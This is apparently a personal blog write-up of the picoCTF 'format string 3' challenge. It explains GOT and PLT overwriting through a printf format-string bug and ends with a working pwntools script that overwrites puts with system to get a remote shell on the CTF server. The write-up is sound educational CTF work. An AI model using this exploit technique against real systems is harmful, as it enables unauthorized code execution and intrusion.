Learning about programming, reverse engineering, binary exploitation, and everything else I can about cybersecurity
22 Dec 2024
This write-up builds on what was learned about exploiting printf vulnerabilities in my write-up on the picoCTF format string 2 challenge. In the format string 3 challenge there is a similar vulnerability, but this time instead of overwriting a variable within the program it will be used to overwrite a pointer to an entry in the Global Offset Table so that it will call a different libc function.
When the program is run, it prints a line which leaks the address of the GOT entry for the setvbuf function and then waits for input:
After supplying some input, it then prints two lines; one which repeats the input and another which prints /bin/sh:
Here is the source code for this function:
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
Looking at the source, we can identify two goals. The main objective will be to overwrite the pointer to the puts function with a pointer to the system function so that instead of printing /bin/sh, the program will make a system call to /bin/sh instead, granting us a shell. To accomplish this, we will need to exploit the vulnerable printf function which repeats user input.
My understanding of the GOT is that it is a copy of libc used by a program which is stored in a random memory location at runtime in order to prevent the type of attack we are performing here. But because we have access to the copy of libc being used and the location of setvbuf has been leaked, we are able to calculate offsets and find the memory locations of other functions within libc.
Finding the locations of functions and calculating their offsets can all be accomplished using pwntools, but I wanted to know exactly what was going on under the hood, so I took a look at the libc file which was supplied with this challenge. First, I used the readelf function to find the location of setvbuf:
Then, I found the location of system:
Finally, I found the difference of the two, which is 2ac90:
To test this theory, I ran the program in gdb and set a breakpoint after the setvbuf leak:
Then I subtracted the 2ac90 offset from the leaked address and looked at the memory in that location:
Cool! We've found the location of the system call in memory! Now what points to the puts entry we want to replace?
As previously mentioned, the Global Offset Table (GOT) is a copy of libc stored in a random location in memory. The location of these addresses must be found at runtime, which is why the setvbuf leak in this program is so valuable.
The Procedure Linkage Table (PLT) is where libc functions are referenced locally in this program. In this example, puts is located at 0x401080:
This is the middle-man where the libc functions which are called locally are linked to the GOT. Here we can see the got.plt entry by examining the instructions following the local call. Looking at the memory in this location you can see the GOT address for puts:
Now all we need to do is overwrite this entry with the offset we calculated earlier (the address for system is different because this is a different instance from earlier):
And after some bugginess, we have a shell!
Entering an ls command shows the contents of the local directory where I was working:
I believe the errors in the above examples are from the breakpoints I set to examine memory. Unfortunately, because of the dynamic locations which are generated every time the program is run and the fact that the payload can not be crafted manually and sent to the program beforehand, a script must be used to complete this challenge. But at least we have a solid grasp of what is going on behind the scenes.
I won't go over the breakdown of the printf vulnerability because I already covered that in my format string 2 write-up, but I used those methods to determine that our printf string is in location 38. Using all of the information we have so far, here is the script I used, adapted from Wiebe Willems's script here:
from pwn import *
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
exe = ELF("./format-string-3") # these 3 lines set up for local execution
context.binary = exe
elf = context.binary = ELF('./format-string-3')
# p = process([exe.path]) # for local execution
p = remote("rhea.picoctf.net", 64162) # for remote execution
def main():
info(p.recvline()) # receives howdy gamers line
info(p.recvuntil("libc: ")) # receives until setvbuf address
setvbuf_address = p.recvline() # gets setvbuf address
setvbuf_value = int(setvbuf_address.split(b"x")[1].strip(),16) # converts input to integer value for calculation
libc.address = setvbuf_value - libc.symbols['setvbuf'] # calculate libc base address
payload = fmtstr_payload(38, {elf.got['puts'] : libc.symbols['system']}) # format string payload; overwrites puts with system
p.sendline(payload)
p.clean()
p.interactive() # gives program control back to user
if __name__ == "__main__":
main()
After running this script we have a shell on the remote server and can just cat the flag.txt file!
(I wasn't able to do this in the picoCTF webshell and had to use a Kali VM)
I hope this was helpful. This challenge was a great way to learn about the Global Offset Table and also get some practice with gdb and pwntools. Reverse engineering and binary exploitation are the most fun things I have learned about so far on my cybersecurity journey!